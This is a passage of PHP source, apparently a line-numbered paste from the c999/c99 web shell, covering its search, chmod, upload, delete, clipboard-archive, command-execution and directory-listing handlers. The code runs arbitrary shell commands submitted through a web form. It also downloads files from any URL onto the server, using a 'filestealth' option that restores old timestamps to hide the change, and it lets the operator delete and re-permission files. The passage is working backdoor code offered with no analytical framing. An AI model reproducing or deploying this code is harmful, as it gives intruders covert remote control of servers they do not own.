  3277.  else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";}
  3278.  
  3279. }
  3280.  
  3281. if ($act == "search")
  3282.  
  3283. {
  3284.  
  3285.  echo "<b>Search in file-system:</b><br>";
  3286.  
  3287.  if (empty($search_in)) {$search_in = $d;}
  3288.  
  3289.  if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
  3290.  
  3291.  if (empty($search_text_wwo)) {$search_text_regexp = 0;}
  3292.  
  3293.  if (!empty($submit))
  3294.  
  3295.  {
  3296.  
  3297.   $found = array();
  3298.  
  3299.   $found_d = 0;
  3300.  
  3301.   $found_f = 0;
  3302.  
  3303.   $search_i_f = 0;
  3304.  
  3305.   $search_i_d = 0;
  3306.  
  3307.   $a = array
  3308.  
  3309.   (
  3310.  
  3311.    "name"=>$search_name, "name_regexp"=>$search_name_regexp,
  3312.  
  3313.    "text"=>$search_text, "text_regexp"=>$search_text_regxp,
  3314.  
  3315.    "text_wwo"=>$search_text_wwo,
  3316.  
  3317.    "text_cs"=>$search_text_cs,
  3318.  
  3319.    "text_not"=>$search_text_not
  3320.  
  3321.   );
  3322.  
  3323.   $searchtime = getmicrotime();
  3324.  
  3325.   $in = array_unique(explode(";",$search_in));
  3326.  
  3327.   foreach($in as $v) {c999fsearch($v);}
  3328.  
  3329.   $searchtime = round(getmicrotime()-$searchtime,4);
  3330.  
  3331.   if (count($found) == 0) {echo "<b>No files found!</b>";}
  3332.  
  3333.   else
  3334.  
  3335.   {
  3336.  
  3337.    $ls_arr = $found;
  3338.  
  3339.    $disp_fullpath = TRUE;
  3340.  
  3341.    $act = "ls";
  3342.  
  3343.   }
  3344.  
  3345.  }
  3346.  
  3347.  echo "<form method=POST>
  3348.  
  3349. <input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">
  3350.  
  3351. <b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp
  3352.  
  3353. <br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\">
  3354.  
  3355. <br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea>
  3356.  
  3357. <br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp
  3358.  
  3359. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only
  3360.  
  3361. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive
  3362.  
  3363. &nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text
  3364.  
  3365. <br><br><input type=submit name=submit value=\"Search\"></form>";
  3366.  
  3367.  if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";}
  3368.  
  3369. }
  3370.  
  3371. if ($act == "chmod")
  3372.  
  3373. {
  3374.  
  3375.  $mode = fileperms($d.$f);
  3376.  
  3377.  if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
  3378.  
  3379.  else
  3380.  
  3381.  {
  3382.  
  3383.   $form = TRUE;
  3384.  
  3385.   if ($chmod_submit)
  3386.  
  3387.   {
  3388.  
  3389.    $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
  3390.  
  3391.    if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
  3392.  
  3393.    else {$err = "Can't chmod to ".$octet.".";}
  3394.  
  3395.   }
  3396.  
  3397.   if ($form)
  3398.  
  3399.   {
  3400.  
  3401.    $perms = parse_perms($mode);
  3402.  
  3403.    echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
  3404.  
  3405.   }
  3406.  
  3407.  }
  3408.  
  3409. }
  3410.  
  3411. if ($act == "upload")
  3412.  
  3413. {
  3414.  
  3415.  $uploadmess = "";
  3416.  
  3417.  $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
  3418.  
  3419.  if (empty($uploadpath)) {$uploadpath = $d;}
  3420.  
  3421.  elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
  3422.  
  3423.  if (!empty($submit))
  3424.  
  3425.  {
  3426.  
  3427.   global $HTTP_POST_FILES;
  3428.  
  3429.   $uploadfile = $HTTP_POST_FILES["uploadfile"];
  3430.  
  3431.   if (!empty($uploadfile["tmp_name"]))
  3432.  
  3433.   {
  3434.  
  3435.    if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
  3436.  
  3437.    else {$destin = $userfilename;}
  3438.  
  3439.    if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";}
  3440.  
  3441.   }
  3442.  
  3443.   elseif (!empty($uploadurl))
  3444.  
  3445.   {
  3446.  
  3447.    if (!empty($uploadfilename)) {$destin = $uploadfilename;}
  3448.  
  3449.    else
  3450.  
  3451.    {
  3452.  
  3453.     $destin = explode("/",$destin);
  3454.  
  3455.     $destin = $destin[count($destin)-1];
  3456.  
  3457.     if (empty($destin))
  3458.  
  3459.     {
  3460.  
  3461.      $i = 0;
  3462.  
  3463.      $b = "";
  3464.  
  3465.      while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
  3466.  
  3467.    }
  3468.  
  3469.    if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";}
  3470.  
  3471.    else
  3472.  
  3473.    {
  3474.  
  3475.     $st = getmicrotime();
  3476.  
  3477.     $content = @file_get_contents($uploadurl);
  3478.  
  3479.     $dt = round(getmicrotime()-$st,4);
  3480.  
  3481.     if (!$content) {$uploadmess .=  "Can't download file!<br>";}
  3482.  
  3483.     else
  3484.  
  3485.     {
  3486.  
  3487.      if ($filestealth) {$stat = stat($uploadpath.$destin);}
  3488.  
  3489.      $fp = fopen($uploadpath.$destin,"w");
  3490.  
  3491.      if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
  3492.  
  3493.      else
  3494.  
  3495.      {
  3496.  
  3497.       fwrite($fp,$content,strlen($content));
  3498.  
  3499.       fclose($fp);
  3500.  
  3501.       if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
  3502.  
  3503.      }
  3504.  
  3505.     }
  3506.  
  3507.    }
  3508.  
  3509.   }
  3510.  
  3511.  }
  3512.  
  3513.  if ($miniform)
  3514.  
  3515.  {
  3516.  
  3517.   echo "<b>".$uploadmess."</b>";
  3518.  
  3519.   $act = "ls";
  3520.  
  3521.  }
  3522.  
  3523.  else
  3524.  
  3525.  {
  3526.  
  3527.   echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>
  3528.  
  3529. Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br>
  3530.  
  3531. Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br>
  3532.  
  3533. Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br>
  3534.  
  3535. File-name (auto-fill): <input name=uploadfilename size=25><br><br>
  3536.  
  3537. <input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br>
  3538.  
  3539. <input type=submit name=submit value=\"Upload\">
  3540.  
  3541. </form>";
  3542.  
  3543.  }
  3544.  
  3545. }
  3546.  
  3547. if ($act == "delete")
  3548.  
  3549. {
  3550.  
  3551.  $delerr = "";
  3552.  
  3553.  foreach ($actbox as $v)
  3554.  
  3555.  {
  3556.  
  3557.   $result = FALSE;
  3558.  
  3559.   $result = fs_rmobj($v);
  3560.  
  3561.   if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
  3562.  
  3563.  }
  3564.  
  3565.  if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
  3566.  
  3567.  $act = "ls";
  3568.  
  3569. }
  3570.  
  3571. if (!$usefsbuff)
  3572.  
  3573. {
  3574.  
  3575.  if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";}
  3576.  
  3577. }
  3578.  
  3579. else
  3580.  
  3581. {
  3582.  
  3583.  if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c999_sess_put($sess_data); $act = "ls"; }
  3584.  
  3585.  elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c999_sess_put($sess_data); $act = "ls";}
  3586.  
  3587.  elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c999_sess_put($sess_data); $act = "ls";}
  3588.  
  3589.  if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c999_sess_put($sess_data);}
  3590.  
  3591.  elseif ($actpastebuff)
  3592.  
  3593.  {
  3594.  
  3595.   $psterr = "";
  3596.  
  3597.   foreach($sess_data["copy"] as $k=>$v)
  3598.  
  3599.   {
  3600.  
  3601.    $to = $d.basename($v);
  3602.  
  3603.    if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  3604.  
  3605.    if ($copy_unset) {unset($sess_data["copy"][$k]);}
  3606.  
  3607.   }
  3608.  
  3609.   foreach($sess_data["cut"] as $k=>$v)
  3610.  
  3611.   {
  3612.  
  3613.    $to = $d.basename($v);
  3614.  
  3615.    if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  3616.  
  3617.    unset($sess_data["cut"][$k]);
  3618.  
  3619.   }
  3620.  
  3621.   c999_sess_put($sess_data);
  3622.  
  3623.   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  3624.  
  3625.   $act = "ls";
  3626.  
  3627.  }
  3628.  
  3629.  elseif ($actarcbuff)
  3630.  
  3631.  {
  3632.  
  3633.   $arcerr = "";
  3634.  
  3635.   if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
  3636.  
  3637.   else {$ext = ".tar.gz";}
  3638.  
  3639.   if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
  3640.  
  3641.   $cmdline .= " ".$actarcbuff_path;
  3642.  
  3643.   $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
  3644.  
  3645.   foreach($objects as $v)
  3646.  
  3647.   {
  3648.  
  3649.    $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
  3650.  
  3651.    if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
  3652.  
  3653.    if (is_dir($v))
  3654.  
  3655.    {
  3656.  
  3657.     if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
  3658.  
  3659.     $v .= "*";
  3660.  
  3661.    }
  3662.  
  3663.    $cmdline .= " ".$v;
  3664.  
  3665.   }
  3666.  
  3667.   $tmp = realpath(".");
  3668.  
  3669.   chdir($d);
  3670.  
  3671.   $ret = myshellexec($cmdline);
  3672.  
  3673.   chdir($tmp);
  3674.  
  3675.   if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
  3676.  
  3677.   $ret = str_replace("\r\n","\n",$ret);
  3678.  
  3679.   $ret = explode("\n",$ret);
  3680.  
  3681.   if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
  3682.  
  3683.   foreach($sess_data["cut"] as $k=>$v)
  3684.  
  3685.   {
  3686.  
  3687.    if (in_array($v,$ret)) {fs_rmobj($v);}
  3688.  
  3689.    unset($sess_data["cut"][$k]);
  3690.  
  3691.   }
  3692.  
  3693.   c999_sess_put($sess_data);
  3694.  
  3695.   if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
  3696.  
  3697.   $act = "ls";
  3698.  
  3699.  }
  3700.  
  3701.  elseif ($actpastebuff)
  3702.  
  3703.  {
  3704.  
  3705.   $psterr = "";
  3706.  
  3707.   foreach($sess_data["copy"] as $k=>$v)
  3708.  
  3709.   {
  3710.  
  3711.    $to = $d.basename($v);
  3712.  
  3713.    if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
  3714.  
  3715.    if ($copy_unset) {unset($sess_data["copy"][$k]);}
  3716.  
  3717.   }
  3718.  
  3719.   foreach($sess_data["cut"] as $k=>$v)
  3720.  
  3721.   {
  3722.  
  3723.    $to = $d.basename($v);
  3724.  
  3725.    if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
  3726.  
  3727.    unset($sess_data["cut"][$k]);
  3728.  
  3729.   }
  3730.  
  3731.   c999_sess_put($sess_data);
  3732.  
  3733.   if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
  3734.  
  3735.   $act = "ls";
  3736.  
  3737.  }
  3738.  
  3739. }
  3740.  
  3741. if ($act == "cmd")
  3742.  
  3743. {
  3744.  
  3745. if (trim($cmd) == "ps -aux") {$act = "processes";}
  3746.  
  3747. elseif (trim($cmd) == "tasklist") {$act = "processes";}
  3748.  
  3749. else
  3750.  
  3751. {
  3752.  
  3753.  @chdir($chdir);
  3754.  
  3755.  if (!empty($submit))
  3756.  
  3757.  {
  3758.  
  3759.   echo "<b>Result of execution this command</b>:<br>";
  3760.  
  3761.   $olddir = realpath(".");
  3762.  
  3763.   @chdir($d);
  3764.  
  3765.   $ret = myshellexec($cmd);
  3766.  
  3767.   $ret = convert_cyr_string($ret,"d","w");
  3768.  
  3769.   if ($cmd_txt)
  3770.  
  3771.   {
  3772.  
  3773.    $rows = count(explode("\r\n",$ret))+1;
  3774.  
  3775.    if ($rows < 10) {$rows = 10;}
  3776.  
  3777.    echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
  3778.  
  3779.   }
  3780.  
  3781.   else {echo $ret."<br>";}
  3782.  
  3783.   @chdir($olddir);
  3784.  
  3785.  }
  3786.  
  3787.  else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}}
  3788.  
  3789.  echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>";
  3790.  
  3791. }
  3792.  
  3793. }
  3794.  
  3795. if ($act == "ls")
  3796.  
  3797. {
  3798.  
  3799.  if (count($ls_arr) > 0) {$list = $ls_arr;}
  3800.  
  3801.  else
  3802.  
  3803.  {
  3804.  
  3805.   $list = array();
  3806.  
  3807.   if ($h = @opendir($d))
  3808.  
  3809.   {
  3810.  
  3811.    while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
  3812.  
  3813.    closedir($h);
  3814.  
  3815.   }
  3816.  
  3817.   else {}
  3818.  
  3819.  }
  3820.  
  3821.  if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";}
  3822.  
  3823.  else
  3824.  
  3825.  {
  3826.  
  3827.   //Building array
  3828.  
  3829.   $objects = array();
  3830.  
  3831.   $vd = "f"; //Viewing mode
  3832.  
  3833.  
  3834.  
  3835.   if ($vd == "f")
  3836.  
  3837.   {
  3838.  
  3839.    $objects["head"] = array();
  3840.  
  3841.    $objects["folders"] = array();
  3842.  
  3843.    $objects["links"] = array();
  3844.  
  3845.    $objects["files"] = array();
  3846.  
  3847.    foreach ($list as $v)
  3848.  
  3849.    {
  3850.  
  3851.     $o = basename($v);
  3852.  
  3853.     $row = array();
  3854.  
  3855.     if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";}
  3856.  
  3857.     elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";}
  3858.  
  3859.     elseif (is_dir($v))
  3860.  
  3861.     {
  3862.  
  3863.      if (is_link($v)) {$type = "LINK";}
  3864.  
  3865.      else {$type = "DIR";}
  3866.  
  3867.      $row[] = $v;
  3868.  
  3869.      $row[] = $type;
  3870.  
  3871.     }
  3872.  
  3873.     elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
  3874.  
  3875.     $row[] = filemtime($v);
  3876.  
  3877.     if (!$win)
  3878.  
  3879.     {
  3880.  
  3881.      $ow = posix_getpwuid(fileowner($v));
  3882.  
  3883.      $gr = posix_getgrgid(filegroup($v));
  3884.  
  3885.      $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
  3886.  
  3887.     }
  3888.  
  3889.     $row[] = fileperms($v);
  3890.  
  3891.     if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
  3892.  
  3893.     elseif (is_link($v)) {$objects["links"][] = $row;}
  3894.  
  3895.     elseif (is_dir($v)) {$objects["folders"][] = $row;}
  3896.  
  3897.     elseif (is_file($v)) {$objects["files"][] = $row;}
  3898.  
  3899.     $i++;
  3900.  
  3901.    }
  3902.  
  3903.    $row = array();
  3904.  
  3905.    $row[] = "<b>Name</b>";
  3906.  
  3907.    $row[] = "<b>Size</b>";
  3908.  
  3909.    $row[] = "<b>Modify</b>";
  3910.  
  3911.    if (!$win)
  3912.  
  3913.   {$row[] = "<b>Owner/Group</b>";}
  3914.  
  3915.    $row[] = "<b>Perms</b>";
  3916.  
  3917.    $row[] = "<b>Action</b>";
  3918.  
  3919.    $parsesort = parsesort($sort);
  3920.  
  3921.    $sort = $parsesort[0].$parsesort[1];
  3922.  
  3923.    $k = $parsesort[0];
  3924.  
  3925.    if ($parsesort[1] != "a") {$parsesort[1] = "d";}
  3926.  
  3927.    $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
  3928.  
  3929.    $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
  3930.  
  3931.    $row[$k] .= $y;
  3932.  
  3933.    for($i=0;$i<count($row)-1;$i++)
  3934.  
  3935.    {
  3936.  
  3937.     if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
  3938.  
  3939.    }
  3940.  
  3941.    $v = $parsesort[0];
  3942.  
  3943.    usort($objects["folders"], "tabsort");
  3944.  
  3945.    usort($objects["links"], "tabsort");
  3946.  
  3947.    usort($objects["files"], "tabsort");
  3948.  
  3949.    if ($parsesort[1] == "d")
  3950.  
  3951.    {
  3952.  
  3953.     $objects["folders"] = array_reverse($objects["folders"]);
  3954.  
  3955.     $objects["files"] = array_reverse($objects["files"]);
  3956.  
  3957.    }
  3958.  
  3959.    $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
  3960.  
  3961.    $tab = array();
  3962.  
  3963.    $tab["cols"] = array($row);
  3964.  
  3965.    $tab["head"] = array();
  3966.  
  3967.    $tab["folders"] = array();
  3968.  
  3969.    $tab["links"] = array();
  3970.  
  3971.    $tab["files"] = array();
  3972.  
  3973.    $i = 0;
  3974.  
  3975.    foreach ($objects as $a)
  3976.  
  3977.    {
  3978.  
  3979.     $v = $a[0];
  3980.  
  3981.     $o = basename($v);
  3982.  
  3983.     $dir = dirname($v);
  3984.  
  3985.     if ($disp_fullpath) {$disppath = $v;}
  3986.  
  3987.     else {$disppath = $o;}
  3988.  
  3989.     $disppath = str2mini($disppath,60);
  3990.  
  3991.     if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
  3992.  
  3993.     elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
  3994.  
  3995.     foreach ($regxp_highlight as $r)
  3996.  
  3997.     {
  3998.  
  3999.      if (ereg($r[0],$o))
  4000.  
  4001.      {
  4002.  
  4003.       if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c999shexit();}
  4004.  
  4005.       else
  4006.  
  4007.       {
  4008.  
  4009.        $r[1] = round($r[1]);
  4010.  
  4011.        $isdir = is_dir($v);
  4012.  
  4013.        if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir))
  4014.  
  4015.        {
  4016.  
  4017.         if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
  4018.  
  4019.         $disppath = $r[2].$disppath.$r[3];
  4020.  
  4021.         if ($r[4]) {break;}
  4022.  
  4023.        }
  4024.  
  4025.       }
  4026.  
  4027.      }
  4028.  
  4029.     }
  4030.  
  4031.     $uo = urlencode($o);
  4032.  
  4033.     $ud = urlencode($dir);
  4034.  
  4035.     $uv = urlencode($v);
  4036.  
  4037.     $row = array();
  4038.  
  4039.     if ($o == ".")
  4040.  
  4041.     {
  4042.  
  4043.      $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
  4044.  
  4045.      $row[] = "LINK";
  4046.  
  4047.     }
  4048.  
  4049.     elseif ($o == "..")
  4050.  
  4051.     {
  4052.  
  4053.      $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>";
  4054.  
  4055.      $row[] = "LINK";
  4056.  
  4057.     }
  4058.  
  4059.     elseif (is_dir($v))
  4060.  
  4061.     {
  4062.  
  4063.      if (is_link($v))
  4064.  
  4065.      {
  4066.  
  4067.       $disppath .= " => ".readlink($v);
  4068.  
  4069.       $type = "LINK";
  4070.  
  4071.       $row[] =  "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  4072.  
  4073.      }
  4074.  
  4075.      else
  4076.  
  4077.      {
  4078.  
  4079.       $type = "DIR";
  4080.  
  4081.       $row[] =  "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>";
  4082.  
  4083.       }
  4084.  
  4085.      $row[] = $type;
  4086.  
  4087.     }
  4088.  
  4089.     elseif(is_file($v))
  4090.  
  4091.     {
  4092.  
  4093.      $ext = explode(".",$o);
  4094.  
  4095.      $c = count($ext)-1;
  4096.  
  4097.      $ext = $ext[$c];
  4098.  
  4099.      $ext = strtolower($ext);
  4100.  
  4101.      $row[] =  "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>";
  4102.  
  4103.      $row[] = view_size($a[1]);
  4104.  
  4105.     }
  4106.  
  4107.     $row[] = date("d.m.Y H:i:s",$a[2]);
  4108.  
  4109.     if (!$win) {$row[] = $a[3];}
  4110.  
  4111.     $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
  4112.  
  4113.     if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
  4114.  
  4115.     else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
  4116.  
  4117.     if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;}
  4118.  
  4119.     else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;}
  4120.  
  4121.     if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
  4122.  
  4123.     elseif (is_link($v)) {$tab["links"][] = $row;}
  4124.  
  4125.     elseif (is_dir($v)) {$tab["folders"][] = $row;}
  4126.  
  4127.     elseif (is_file($v)) {$tab["files"][] = $row;}
  4128.  
  4129.     $i++;
  4130.  
  4131.    }
  4132.  
  4133.   }
  4134.  
  4135.   // Compiling table
  4136.  
  4137.   $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
  4138.  
  4139.   echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">";
  4140.  
  4141.   foreach($table as $row)
  4142.  
  4143.   {
  4144.  
  4145.    echo "<tr>\r\n";
  4146.  
  4147.    foreach($row as $v) {echo "<td>".$v."</td>\r\n";}
  4148.  
  4149.    echo "</tr>\r\n";
  4150.  
  4151.   }
